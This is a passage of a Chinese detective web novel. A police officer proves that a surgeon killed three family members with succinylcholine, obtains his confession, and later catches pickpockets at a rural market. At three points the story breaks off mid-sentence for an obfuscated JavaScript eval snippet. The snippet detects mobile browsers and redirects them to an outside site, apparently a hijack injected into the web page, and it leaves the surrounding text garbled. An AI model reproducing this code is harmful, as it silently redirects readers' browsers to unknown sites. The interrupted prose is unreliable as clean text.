欧生和白玲虽然被我们抓了个现行,但并没有太多的证据能直接指向刘振华。 只要他咬死不认,就可以把杀人的行为推到欧生和白玲的身上。 唯一的一个突破点,就在于杜美玲三个人全部都是被毒死的。 所以章政霖略微思索了一下:“我就不去抓捕了,我想去看看那三具尸体。” 胡国庆对此没什么意见:“行,我跟你一块去瞧瞧。” “其他人,立刻行动!” 派出所里没有专门存放尸体的地方,大家伙便把一间杂物间给整理了出来。 趁着审讯的时间,已经有同志们拿着人体解剖图,把那三具骨架给大致的拼在一起了。 尸体上的软组织已经腐烂殆尽,大部分肌肉和内脏都化为乌有,只剩下了干枯发白的骨头。 十六岁的杜思瑜,四十四岁的杜美玲,以及六十二岁的谢名瑛。 她们可能到死都想不明白,只是发现了自己的爸爸/老公/女婿出怎轨,怎么就把自己的命都给交代了…… 章政霖轻叹了一声,戴上了一双白色的棉线手套,拿起放大镜走到桌边,从第一具骨架开始,一寸寸的查看。 放大镜在他的手中慢慢的移动着,从颅骨开始,沿着脊椎往下,经过胸廓,一直延伸到四肢的末端。 在查看到杜美玲的骨架的时候,章政霖在一根肋骨上发现了一处不太正常的区域。 胡国庆瞧见他的动作停了下来,呼吸都不由自主的放轻了许多:“有什么问题吗?” “暂时还不太确定。”章政霖说着话,将两个放大镜叠加在了一起。 那根肋骨的中段,骨皮质上出现了一片不规则的浅褐色的区域,区域边界的纹路仿佛是干涸了的河床一样,密密麻麻的裂纹不断的从中心向四周蔓延。 常规的骨质的变化是由内而外的,像一棵树的年轮一样,一圈一圈的往外扩,而这片区域的却病变是非常快速的,剧烈的,如同燎原一般。 除了杜美玲的尸骨以外,杜思瑜和谢名瑛的骨头上面也有同样的病变。 联想到白玲所说的中毒而亡,章政霖缓缓说出了一个药物的名称:“氯/化琥/珀/胆/碱。” 胡国庆对药品不是很了解:“这是什么?” 这是一种严格管控的药,但它的用途,章政霖在前世的特警培训中接触过。 “一种去极化型肌松药,在临床上用于全身麻醉的辅助,”他思索片刻,解释道:“它的作用是阻断神经肌肉接头处的信号传递,让骨骼肌松弛,便于气管插管和机械通气。” 说的通俗易懂一点,氯/化琥/珀/胆/碱能让人在意识完全清醒的状态下,全身的肌肉一点一点的失去力量,到最后无法说话,无法动弹,无法呼吸。 被人掐住脖子的时候,尚且还来得及呼救,可氯/化琥/珀/胆/碱所造成的窒息,却是悄无声息的。 服用者只能在意识清醒的情况下,眼睁睁的看着死亡一步步的逼近…… 这是一种极其丧心病狂的毒杀方式,刘振华却将其用在了自己的妻女身上。 胡国庆听完章政霖的话,手指在桌子上轻轻扣了两下,脸上却没有什么太大的表情。 他在这个位置上坐了很多年,见过太多人性中最阴暗,最丑陋的东西,已经没有什么能让他大惊小怪了。 回到自己的办公室,胡国庆拿起桌上的座机,拨出了一个电话号码:“老班长,是我,国庆啊……” 电话那头的声音有些模糊,胡国庆听着,笑容却一点一点的扩大了:“有件事想请你帮个忙。” 他顿了一下,手指在电话线上绕了一圈,又松开:“帮我查一下,86年11月16号之前,市一医院里一个叫刘振华的医生,他经手的手术里面,有没有琥/珀/胆/碱丢失的情况。” 得到肯定的回答,胡国庆乐呵呵的应着:“好好好,老班长,麻烦你了,改天请你喝酒啊。” 转过身,胡国庆看着窗外那片被阳光照得发白的院子,目光有些幽远。 刘振华很快就被赵明他们给带了回来,他从始至终都很配合,没有想着要逃跑。 甚至坐在问讯室里的时候,都还是举止优雅,笑容得体,甚至还装模作样的问:“到底是发生什么事情了?” 章政霖抬眸看他一眼:“你的老婆孩子,还有丈母娘都找到了……” 一番话还没说完,刘振华就非常激动的问道:“真的吗?她们在哪里?她们过得还好吗?这几年……这几年她们到底去了哪里?” 赵明看着他那张因为惊喜而涨红的脸,只觉得一肚子的气:“都把人杀了,你装模作样的问什么呢?” 刘振华的表情在那一瞬间凝固了:“你说什么?!” 他仿佛是在怀疑自己的耳朵,满脸的不可思议,气愤的呕吼道:“你到底在胡说八道些什么?我的老婆孩子失踪了这么久,我一直在找她们,我比任何人都想知道她们在哪里,你倒好,一上来就诬陷我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17534031|203763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杀人?!” 赵明翻了一个大大的白眼:“你装,你继续装,尸体都已经找到了,你还想狡辩不成?” “让我去看看她们……”刘振华突然收起了所有的怒火,卑微又祈求的说道:“不管她们现在是什么样子,都让我去看一眼吧,求求你们了……” “行。”章政霖点了点头,起身往外走,刘振华迫不及待的跟了上去。 杂物间的门没有打开,刘振华只在窗口处看了看,只那一眼,他整个人就崩溃了。 “不——!!!”刘振华的手指在墙面上划出了几道白色的印痕,从喉咙里发出了类似于野兽般的嘶吼:“这不是真的,这不是真的!!” “我不相信……我不相信我老婆孩子死了,她们没死,她们一定还在哪个地方等着我去救她们呢……” 赵明头都有些大了:“欧生和白玲都已经交代了,人就是你杀的,你还想要抵赖到什么时候?” 刘振华突然抬起头,满眼赤红的盯着眼前的赵明:“欧生?欧生是谁?!” “是不是他杀了我老婆孩子?”刘振华咬牙切齿的说:“杀人凶手!” “欧生!欧生!” 他在走廊里面一边走一边喊:“欧生!你给我出来!出来偿命!!!” 刘振华一整个癫狂,完全没有办法配合问询,也咬死了不承认。 章政霖他们早就预料到了这个情景,所以也并没有指望着刘振华能轻易认罪。 只是市里医院那边的调查不一定能有结果。 时间已经过去三年多了,如果没有记录的话,再想要给刘振华定罪,可就难了。 赵明的喉结上下滚了滚,咽了一口唾沫:“那怎么办?” “让白玲和刘振华见个面吧,”章政霖唇角微微弯了弯:“我倒是很期待他们能碰撞出什么样的火花。” 刘振华一见到白玲,冲上去就要打她:“贱人!你个贱人!还我老婆孩子的命来!” 他明明说的那么清楚了,不要轻举妄动,不要轻举妄动! 这个蠢女人,非要自以为是的去转移尸体! 刘振华的动作太快了,公安们紧赶慢赶的把他拉开,白玲还是被他打了一巴掌。 白玲的脸歪在一边,那道巴掌印在她白皙的脸上显得格外的刺眼。 她一下子也来了脾气,对着刘振华破口大骂:“你少在那放屁了!你才是杀人凶手,是你毒死了她们!” “你不要狡辩了,承认吧,”刘振华没有了之前的歇斯底里,整个人变的异常的沉静:“你也不想让自己的儿子有了一个杀人凶手的母亲以后,连最基本的生活保障也都失去了吧?” 白玲的瞳孔微微缩了一下,她听懂了刘振华的话外意。 他这意思是让自己认罪,而他有钱,还能给他们的儿子一个好生活。 可白玲怎么会让他轻易如意? 她盯着刘振华看了一会,突然放声大笑了起来:“刘振华,你个蠢货,你还真以为儿子是你的啊?” “杜美玲没有生育能力以后,你也找了不少小三,可怎么只有我给你生了个儿子,你就没有想过为什么吗?” 刘振华太阳穴突突的跳,几乎都快要维持不住脸上的表情了。 白玲还在笑,且越笑越大声:“我告诉你,杜美玲那天来找我的时候,我们就把话说清楚了,她为了保证自己女儿的利益,早就给你下了绝嗣的药!” “你都四十多快五十的人了,还以为自己是二十多岁的精壮小伙子呢?”白玲的目光在刘振华的腹部扫视了一下,满眼的轻蔑:“就你每天晚上那几分钟,还想要儿子?下辈子吧!” 白玲如同诅咒一般,一字一句:“你这辈子注定断子绝孙!” 12. 第 12 章 有那么一瞬间,刘振华觉得自己的耳朵出了毛病。 他下意识的瞪大了眼睛,不可置信的盯着面前的白玲:“你说什么?!” “我说……”白玲故意把声音拖得很长:“你被人绝了后,这些年一直在替别人养儿子,你听懂了吗?没听懂的话……要不要我再说一遍?” 刘振华瞬间面目狰狞了起来,他猛地一下冲向了白玲:“你个贱人,我要杀了你,我要杀了你!!!” 眼见着他被两名公安拉住,动弹不得,白玲继续冷嘲热讽:“药是你老婆给你下的,你也把人给杀了,一报还一报,我好心好意让你有了这么几年的父子天伦之乐,你却对我喊打喊杀的,真是没良心。” 看着白玲把人刺激的差不多了,章政霖就让同事先把她给带了下去,独留刘振华一个人跪坐在地上。 这一次的刘振华没有那个精力再去表演了,眼泪实打实的落了下来,他一拳一拳的捶在地面上:“怎么会这样?怎么会这样……” 哭到最后,刘振华整个人都浮在了地面上,甚至还有些干呕。 为了防止他把才拖的地板给弄脏,章政霖出于人道主义的给他拿了几张纸和一个垃圾桶:“擦擦吧。” 刘振华清理了脸上的脏污,缓缓的抬起了头来,此时,他的情绪已经有些缓和了,只用一双通红的眼眸 直勾勾的盯着章政霖:“送我去医院,我要做检查。” 章政霖没有拒绝:“好。” 在焦急的等待了几个小时以后,检查结果终于出来了。 做检查的医生是刘振华的下属,他拿着检查报告,有些不太敢看刘振华的眼睛:“刘所……” 刘振华没有理他,一把将报告单给扯了过来。 白纸黑字,写的清清楚楚,他确实没有生育能力了。 “哈……”刘振华拿着那张报告单跌坐在地上,突然放声大笑了起来:“哈哈哈哈……” 他绝嗣了,他再也没有办法生孩子了…… 他辛辛苦苦谋划了这么久,都是为了什么啊?! 到头来却是一场空! 可刘振华既然能扒在自己的六个姐姐身上吸血,一路从小山沟里成长到市里大医院的外科主任,他的心理素质就不是一般的强。 即使他现在已经处在崩溃的边缘了,脑子却还是能够保证一丝的清明。 “如你们所见,我现在差不多是个废人了,但这个事是我现在才知道的,”刘振华深吸了一口气,尽量让自己吐字清晰:“所以我根本没有理由杀了我老婆。” 他不能认,一旦认了,他必死无疑。 而且他也想明白了,这些公安们让白玲来刺激他,就是为了让他破防,从而吐露出事情的真相。 他绝对不会上当的! 刘振华攥紧了拳头,咬牙切齿的说:“白玲和欧生那两个贱人冤枉我!是他们杀了我老婆孩子和丈母娘,你们快点把他们抓起来枪毙!” 回到派出所,赵明一头扎进办公室,抄起桌上的搪瓷缸子,仰起脖子就往嘴里灌:“这个刘振华,他现在咬死了不承认,我们该怎么办啊?” 章政霖的目光落在窗外那片被夕阳染成了橘红色的天空上,几只鸟从远处的烟囱旁边飞过,翅膀扇了几下,就被风给吹远了。 他薄唇微启:“等。” 刘振华现在之所以有恃无恐,就是笃定他们没有证据。 但杜美玲三人病变的骨头,已经被胡国庆送到市里的法医科去化验了。 而且章政霖已经认出了是氯化胆碱所导致的病变,所以化验就变得非常的简单。 有了化验结论,在这个年代,就算刘振华不承认,他们也能直接给他定罪。 况且,在金手指的作用下,章政霖也能确认不会发生任何冤假错案。 果不其然,化验的结果没过两天就出来了,只是,前来送结果的人,让人有些意想不到。 竟然是市局刑侦大队的队长赵朗。 胡国庆微微眨了眨眼睛,脸上的神情有些晦暗不明。 他当时安排人送骨头去市里化验的时候,还专门和老班长打了个招呼,在案子告破之前不要声张。 毕竟正常来说,派出所的公安很少有侦破命案的能力,所以一般情况下,在发现了尸体以后,就应该将其上报给市局的刑侦大队。 胡国庆见识到了章政霖的能力,再加上也有一点私心,所以就直接将这个案子给揽了下来。 可既然赵朗来了这里,那就说明他已经知道了。 胡国庆顿时有些心虚。 可转念一想,他又变得理直气壮了起来。 是他管辖的派出所破了命案唉,他有什么好怕的? 于是,胡国庆面带微笑的迎了上去:“只是送个报告而已,赵队怎么还亲自跑一趟?” 赵明眼巴巴的瞅着自家大哥:“你没有别的事情忙吗?” 赵郎有些无奈的瞥了一眼自己的这个蠢弟弟,转头对胡国庆说道:“不知胡所是怎么判断出杜美玲三人是死了,而不是失踪的?” 这个问题他憋了挺久了,毕竟当年他就是这个案子的负责人。 他甚至想过,她们母女三人是被人贩子给拐卖了,也没想过是被刘振华给杀了。 毕竟刘振华那悲伤欲绝的样子,完全不像是装的。 胡国庆把章政霖之前所说的话术又重复了一遍:“是小章察觉到了刘振华的不对劲……” 赵郎点了点头,不动声色的打量着章政霖:“你对人的心理有过研究?” 章政霖大大方方的承认了:“对,我从小就被父母抛弃了,是奶奶捡了我,把我养大。” “小时候经常有小朋友在我跟前说我是没人要的孩子,所以我就想研究一下我的父母为什么不要我,没想到一来二去的,就对心理学感了兴趣。” 章政霖在说这番话的时候,脸上没有什么悲伤的表情,甚至眼尾还微微弯了起来,带着一丝丝的笑意。 赵朗:“……” 不想笑就别笑了啊喂! 他可真该死啊! 他怎么能这么戳人伤疤呢? 于是赵朗赶紧将这个话题岔了过去,又说了另外一个好消息:“对了,市一医院那边在86年11月16号的时候,确实丢失过一支琥/珀/胆/碱。” 那天上午点,刘振华有一台手术,只可惜病人早上吃了东西,手术就挪后了。 原本给那个病人准备的琥/珀/胆/碱丢失了,医院自查了一番,并没有找到,但是也没有出现其他的医疗事故,于是就这么不了了之了。 再加上当时并没有发现杜美玲三人的尸体,所以也就没有人往她们中毒的这方向去想。 章政霖看着赵朗生硬转移话题的模样,低下头,轻轻勾了勾唇角。 看来,有的时候,卖惨也是非常有用的。 否则还不知道要被赵郎追问到什么时候去呢。 有了证据,刘振华立马就被提审了。 胡国庆原本是想要赵朗来审讯的,但是赵朗却提出了让章政霖来。 根据这几次的案子,他觉得章政霖是一个天生做刑侦的料,留在这小小的派出所,当一个户籍员实在是太屈才了。 他今天专门跑这么一趟,就是想要亲眼看看章政霖的办案手段。 看着面前这么多的公安,一副要三司会审的样子,刘振华十分淡定的坐在椅子上,冲着章政霖挑了挑眉:“怎么,觉得人多力量大?就可以污蔑我杀人?” “先喝口水吧。”章政霖没有回答,只是给他倒了一杯热茶,然后便自顾自的整理着资料。 一分钟,十分钟,半小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17535496|203763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时,一个小时都过去了,章政霖依旧在忙着自己的事情,什么都没有询问。 赵明看的都有些不耐烦了,就问自家老哥:“怎么还不审啊?” 赵朗却是看懂了章政霖的操作:“这是在心理博弈。” 果不其然,随着时间的推移,刘振华的心里面开始打鼓,到最后绷不住开口:“你就没有什么要问我的吗?” 章政霖神情淡然:“没有。” 刘振华有些急了:“有证据你就直接亮出来,没证据就赶紧把我放了,我没空和你在这浪费时间。” 被晾在这里这么久,刘振华的情绪仍然有些暴躁,章政霖盯着他的眼睛,缓缓的吐露出四个字来:“琥/珀/胆/碱。” 刘振华浑身一震,瞳孔都放大了一些:“你说什么?!” 章政霖靠在椅背上,双手抱胸,好整以暇的盯着他:“你还不认罪吗?” 他并没有说公安这边究竟掌握了多少证据,可就是这番模棱两可的话语,更让人心里头发慌。 刘振华的心理防线彻底的崩塌了,他双手掩面:“我说我说……” 在案发之前,刘振华就已经发现了杜美玲的不对劲。 所以在当天晚上睡觉之前,他在杜美玲喝的牛奶里面下了安眠药,然后乔装打扮一番,把一些食物放在了那个病人的床头柜上。 他知道这个病人的性子,嘴馋,还管不住自己,护士说什么他都能忘,却从不忘记吃饭,之后,刘振华又去偷了一支琥/珀/胆/碱。 早上8点,他像往常一样去包子铺吃早饭,还和包子铺的老板使劲抱怨:“真是烦死了,说了八百遍了,手术之前不能吃东西,不能吃东西,早上有个病人偷吃东西,导致手术推迟,我老娘生了大病我都没法回去看。” 老板笑呵呵的说:“不是还有你媳妇吗?” 刘振华就点头:“是啊,还好我媳妇贤惠。” 在包子铺老板那热演了一番,刘振华驱车前往了白玲家,将杜美龄三人全部都给毒死,又把尸体拉到树林里面给埋了。 第二天,他去了公园和书店,用了相同的话术,加深了公园大爷和书店老板的记忆。 这时候,并不是家家户户都有日历,刘振华就这样,把17号做的事情,全部都推到了16号。 之后,他表现出了一种极度的悲伤,甚至主动辞去了外科主任的职务,来到了城关镇这个小小的卫生所,做了一名所长。 他把爱妻的人设展现的淋漓尽致,所有人都夸赞他情深义重,市医院那边甚至主动提了几次,让他重新回去认证。 可刘振华怎么也没想到,就在他准备当市医院再提一次就继续回去的时候,却被章政霖给逮着了。 “我走到今天我容易吗?!”刘振华歇斯底里的大喊着:“我是一个农村人,校里的人都嘲笑我,说我土,说我连普通话都说不利索。 “就连杜美玲那个贱人也看不起我,处处防着我!” “我拼尽一切的往上爬,我想要做人上人,我有错吗?!”刘振华喘着粗气,胸膛剧烈地起伏着:“错的不是我,是这个世界,他们该死,他们全都该死!” “哦,”章政霖依旧淡定:“但是很可惜,现在该死的,恐怕是你了……” 当被押上车,带往市局的时候,刘振华终于不再怨天尤人了。 无穷无尽的后悔彻底的淹没了他:“我不想死,我不想死啊……” “我马上要回医院了,我马上就要升职了,我终于要出息了,我对得起老刘家的列祖列宗了……” 他的哀嚎声是那样的绝望。 可杜美玲三人死的时候,连声绝望的哀嚎都发不出来。 监狱的大门越来越近,刘振华所有的不甘,讨饶,恐惧,哭喊…… 全部都被关在了那沉重的高墙里。 13. 第 13 章 小乡镇的派出所平常也遇不到什么大案子,刘振华被带走以后,派出所里的众人一时之间竟觉得有些清闲了下来,于是便三三两两的聚在一起说闲话。 “都觉着没事干了是吧?”胡国庆端着搪瓷缸子,虎目圆睁:“正好,明天是十五了,都给我上大集上盯梢去。” 刹那之间,派出所里遍地是哀嚎:“啊……不要啊……” 每逢初一十五,都是周边十几个乡村赶大集的日子。 大家伙会把自家种的菜或者是做的东西,甚至是批发来的衣服等等,拿到集市上面去卖。 热闹归热闹,但小偷小摸的事情也是多的数不胜数。 盯梢不仅仅是一个力气活,还特别耗费人的精气神。 之前每次赶大集,大家伙都是轮着来的,这回倒好,被胡国庆一股脑的全都赶去了。 大集开的很早,凌晨四点多,天还没有亮呢,小镇特意规划出来的那一片空地上,就已经出现了不少的摊贩了。 章政霖把自行车停在了集市的入口处,锁好车子后便开始巡逻。 他的步子不快不慢的,目光从每一个摊位前扫过。 一块钱一双的解放鞋,五毛钱一尺的花布,两毛钱一根的糖葫芦,八分钱一个的茶叶蛋…… 这些章政霖以前在老照片和旧电影里看到的东西,此刻却真实又生动的,出现在了他的面前。 一个小女孩拉着妈妈的衣角,眼睛盯着那串红彤彤的糖葫芦,嘴巴嘟着,口水都快要流下来了:“妈妈,想吃……” 妈妈犹豫了两秒钟,最终还是从口袋里掏了出一张皱巴巴的毛票,递给卖糖葫芦的老伯:“给我挑个最甜的。” “好嘞,”老伯挑了一串又大又红的地方的小女孩:“拿好了哟。” 小女孩舔了肉烤糖葫芦上面的糖浆,笑得眼睛弯成了两个月牙,然后又踮起脚尖把糖葫芦举在了妈妈的面前:“好吃,妈妈你也吃。” 章政霖看着那个小女孩的笑脸,嘴角也不自觉地弯了一下。 就在这个时候,前面突然传来了一阵喧嚷。 章政霖加快了脚步走过去,看到在集市东边靠近入口的位置,两个男人正争的面红耳赤。 两个男人,一个个高,一个个矮,面前各放着一个筐子,筐子里面堆满了鸡蛋。 “我先来的,这块地方是我先占的!”高个子尖声叫喊着:“我四点半的时候就到了,你赶紧把你的筐挪走!” 这镇子上买鸡蛋的人就这么多,他好不容易抢了一个好位置,现在两个人一块挤,万一他的鸡蛋卖不完怎么办? 所以他必须要把这个竞争对手给搞开。 可矮个子也丝毫不甘示弱,他粗着嗓子喊:“你四点半到,我就不是四点半到的了?” “你来的时候我还没摆好呢,你二话不说就把你的筐往这儿一搁,”他一边说着,眼睛都红了,看起来无比的委屈:“你凭什么啊?这是你的地方吗?你买下来了吗?写的名字了吗?” 两个人的声音越来越大,围观的人群也越来越多。 人都是视觉动物,两个人站在一起就会下意识,觉得是个高的欺负个矮的,再加上个矮的那样的委屈。 围观群众里面就开始有人自以为是的站在了正义的一方。 “长得人高马大的,怎么还欺负人呢?” “明明来的比人家晚,还要硬占着位置,真是没天理了。” …… 高个子听着周围的议论,气的脸红脖子粗的,他往前迈了一步,挥舞着拳头做势要去打矮个子:“你到底挪不挪?!” 矮个子仰头挺胸:“我就不挪!你能把我怎么样?!” 高个子下意识的伸出手把矮个子推了一下。 矮个子的身形踉跄了两下,直接栽倒在了地上。 “你他妈的还敢动手?!”他一双眼睛瞪得跟铜铃似的,在爬起来的间隙,顺手从地上捡了一块石头。 眼瞅着他们就要打起来了,围观的人群纷纷下意识的往后退。 就在矮个子手里的石头即将要被掷出的那一刻,一只手掌突然稳稳地按住了他的胳膊。 章政霖站在他的身后,声音不急不缓:“把石头放下。” “你他妈谁啊?!”矮个子嘴上骂骂咧咧的,可就在转过头来看到章政霖身上制服的刹那间,立马就转变了态度。 他把石头往地上一丢,脸上带着讨好的笑:“公安同志,你误会了,我们就是闹着玩的,没想着打架……” 章政霖向周围了解了一下情况,随后询问旁边一位卖菜的老大爷:“大爷,您看到他们俩谁先来的了吗?” 他在锁自行车的时候就瞧见这位大爷了,那时,这两卖鸡蛋的人都不在,想必大爷对此应该是很清楚的。 大爷先是伸手指了一下高个子:“这个小同志先来的。” 紧接着,他又指了指矮个子:“他来的时候,那位小同志都已经把筐子摆好了。” 矮个子在看到章政霖的时候就已经想要退缩了,此时听到大爷的话,整张脸更是涨的通红,他盯着自己的鞋尖,冲着章政霖鞠了个躬:“对不起,公安同志,是我错了。” “知错就改,善莫大焉。”章政霖冲他点了点头。 矮个子微微松了一口气,可就在这时,章政霖突然话锋一转:“不过……你该道歉的人,应该不是我吧?” “我……”矮个子的脸白了青,青了又白的,他做了半天的心理建设,才终于对高个子非常低声的说了一句:“对不起。” 高个子斜着眼睛瞥了他一眼:“哼!” 矮个子没再说话,只是默默的背起装鸡蛋的筐子,头也不回的走了。 围观的人群见没有什么热闹可看,便也相继散去了。 但还是有人留下来,找高个子买鸡蛋:“这鸡蛋多少钱一个呀?” “五分钱一个,”高个子立马开始笑意吟吟的介绍了起来:“这都是我们自己家鸡下的,你看这鸡蛋,这么大,您要几个呀?” 接连卖出去了好几十个鸡蛋,高个子整个人都变得开朗了起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537378|203763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “公安同志,您真是帮了我大忙了,”他找了个袋子,装了足足十个鸡蛋递给了章政霖,哑着嗓子说:“我也没有啥别的能拿得出手的,这点鸡蛋你拿回去吃吧,不是什么好东西,就是自己家养的鸡下的。” 章政霖把袋子往回推了推,拒绝道:“不用了,鸡蛋你自己留着卖吧,这年头攒几个鸡蛋也不容易。” 可高个子却无论如何都要章政霖拿下这些鸡蛋。 眼见着推辞不过,章政霖从口袋里掏出了五毛钱,强行塞进了高个子的手里:“那行,鸡蛋我就收下了,但这钱你也得拿着,你要是不拿的话,鸡蛋我也不要了。” 高个子嘴巴张张合合了半天,最终无奈的叹了一口气:“公安同志,你这个人真是……唉,我都不知道该说啥了……” 赵明不知道什么时候转到了这里,正好瞧见了这一幕,张嘴就是调侃:“哟,咱们章同志群众工作做得不错嘛,连鸡蛋都收上了?” 章政霖直接把鸡蛋递了过去:“群众太热情了,推脱不掉。” 赵明的眉毛挑了一下,嘴角的弧度更大了些:“给了多少钱?回去跟胡所汇报一下,看看这算不算收受贿赂。” 章政霖没好气的瞪他:“五毛钱的贿赂?” “嘿嘿嘿……”赵明咧着嘴傻笑:“走吧走吧,继续巡逻去,今天这人多得跟下饺子似的,咱们可得把眼睛睁大了。” 没过一会儿,章政霖在一个贼眉鼠眼的男人头顶上看到了熟悉的血字。 【王平】 【男】 【24岁】 【1990年7月24日,于城关镇偷盗发卡,衣物……】 【1990年7月11日,于城关镇偷盗钱包,首饰】 【1990年6月22日,于城关镇偷盗铜线,螺丝,剪刀……】 …… 密密麻麻的红色字体,数不胜数。 这是个惯偷。 章政霖碰了一下赵明的肩膀,小声说道:“看到前面那个人了吗?穿黑色夹克,瘦长脸,寸头。” 赵明心领神会:“这人……有情况?” 章政霖轻声应道:“跟上去瞧瞧。” 王平一路走的很慢,东瞅瞅西望望的,看似好像在闲逛,实际上,却是在物色着能下手的目标。 片刻之后,他停在了一个卖布匹的摊位前。 一名中年妇女此时正弯着腰在挑布,一个手提包挎在她的胳膊上,包的拉链没有拉好,张开了一道口子。 里面的钱夹若隐若现。 这位妇女的注意力完全集中在了那些花花绿绿的布匹上,她一边挑选着布料,一边和摊主讨价还价。 完全没有注意到,有一只手,已经悄无声息的伸进了她的包里,拿走了里面的钱夹。 就在王平得手,后退着准备离开的时候,后背却猝不及防撞上了一堵坚实的墙。 他下意识的扭过头来。 两名穿着制服的公安就站在他面前,面带微笑的看着他:“好巧啊。” 14. 第 14 章 王平的脸色一白,双腿一软,“扑通”一声就跪在了地上。 他乖乖的把手里的钱夹举到了头顶:“公安同志,我错了……” 听到动静的中年妇女转过头来,惊叫了一声,一把将钱夹拿了过去:“这是我的!” 她将其打开,检查了一下里面的现金,对着王平劈头盖脸就是一顿骂:“你说你年纪轻轻,有手有脚的,干什么不好?非要做贼!” 骂完了,她似乎还是觉得不解气,抓起自己的包,又对着王平的肩膀来了两下:“让你偷东西,我让你偷东西!” 王平被打了也不敢还手,唯唯诺诺的躲闪着,时不时的抬起眼睛看一看章政霖和赵明。 发泄了一番,中年妇女伸手理了一下自己额头的碎发,冲着章政霖和赵明不好意思的说道:“公安同志,让你们见笑了。” “没事,”赵明乐呵呵的摆了摆手,提醒她道:“以后出门的时候包的拉链,记得要拉好。” 中年妇女低头看了一眼半开的拉链,连连点头:“好的好的,我记住了,谢谢啊……” “那个……”眼瞅着自己被忽略了个彻底,王平颤颤巍巍地举起了自己的右手:“公安同志,我东西已经还了……” 章政霖眯着眼睛看他:“你确定都还了吗?” 王平呼吸一滞,喉咙滚动了一下,最后认命般的把身上偷来的东西一样一样的全部拿了出来:“就这些了,都在这儿了。” “好家伙,这么多?”赵明挑了挑眉,从腰间解下手铐把他给铐了起来:“你本事不小啊?” 王平垂着头,不敢回答,过了片刻,又鼓起勇气问:“我要被关几天?” 章政霖语气平缓:“看情况。” 这一下子,王平的心思又开始活络了起来。 他眼珠子转了转,扯着嘴角露出了一抹讨好的笑容:“政府啊,我立功,我举报,能不能给我少关几天?” 章政霖微微抬了抬下巴:“那就要看你能立多大的功劳了。” 于是,在王平的帮助下,集市上的另外三名小偷也全部都被人赃并获。 “你还真是我们的好兄弟啊……”其中一个同伙瞪着王平,声音发冷。 王平讪讪的笑了笑:“咱们不是说好了有福同享,有难同当嘛。” 同伙的声音从齿缝里挤出来,像是恨不得直接把他给撕碎了:“你他娘的还真是个人才!” 他们把兄弟放在心上,兄弟把他们送进牢房。 赵明站在旁边,把这一切都看在眼里,嘴角控制不住的抽了一下,一时之间竟是不知道到底该不该笑了。 派出所里年长的两位同志准备将这几个小偷给带回去,临行前还叮嘱了一番:“你们继续逛吧,难得赶个大集,别光顾着抓人了,也给自己买点东西啊。” 几个小偷被手铐串在一起,一个跟着一个,像是那秋后的蚂蚱,他们耷拉着脑袋,就连落在地上的影子看起来都有些灰溜溜的。 “好!抓得好!” 人群里不知道是谁先带头喊了一句,紧接着便响起了此起彼伏的巴掌声。 “这几个王八羔子,可算是栽了!” “我上回买布,刚掏出来的钱,一转身就没了,我连谁偷的都没看清,气得我好几天没睡好觉,今天这些公安一来,这心里头啊,一下子就踏实了。” “公安同志真是辛苦了。” …… 听着人民群众真情实意的话语,赵明伸了个懒腰,脸上的表情要多得意有多得意:“这下可算是清净了,今天这集市上啊,估计小偷小摸的都得绕着咱们走了。” 章政霖没有参与他这种臭屁的行为,转身走向了集市的另一头。 赵明愣了一下,赶忙跟上:“哎,你去哪儿啊?” 章政霖回头看他一眼:“逛集。” 此时的集市已经完全热闹起来了,太阳高高的升起,金灿灿的光芒从天边洒落下来,将整个集市都照得亮堂堂的。 摊位一个挨着一个,从东头摆到西头,从南头摆到北头,把整片空地的塞了个满满当当的。 卖菜的,卖肉的,卖布的,卖农具的…… 种种嘈杂的声音混在一起,嗡嗡作响,却并不让人觉得烦躁,反而有了一种正在生活的踏实感。 赵明一眼就看中了一家卖水煎包的摊子,包子的面皮被煎得又焦又脆,看起来油亮油亮的。 “老板,”他掏出五块钱,大手一挥:“给我来十个!” 摊主是个五十多岁的男人,穿着一件看不出原本是什么颜色的围裙,他拿着一把长柄铲子,手腕随意一翻,水煎包便整齐地落在了盘子里。 淋上醋和辣椒油,又撒上一把葱花,别提有多香了。 赵明迫不及待的用手捏起一个水煎包,直接塞进了嘴里,嚼的嘴角油汪汪的:“太好吃了!小章你也快来尝尝!” 接连几个水煎包下肚,赵明满意的擦了擦嘴:“老板,多少钱?” “什么钱不钱的?”摊主把双手在围裙上面擦了擦,用力的摆动了起来:“你们才帮我们抓了小偷,这几个包子,就当我请你们吃了。” 毕竟,小偷如果没被抓住的话,那损失的可就不止几个包子钱了。 “那怎么成?”赵明坚持要给钱:“我们有纪律的,不能拿群众的一针一线。” 摊主满嘴歪理:“这是包子,又不是针线。” 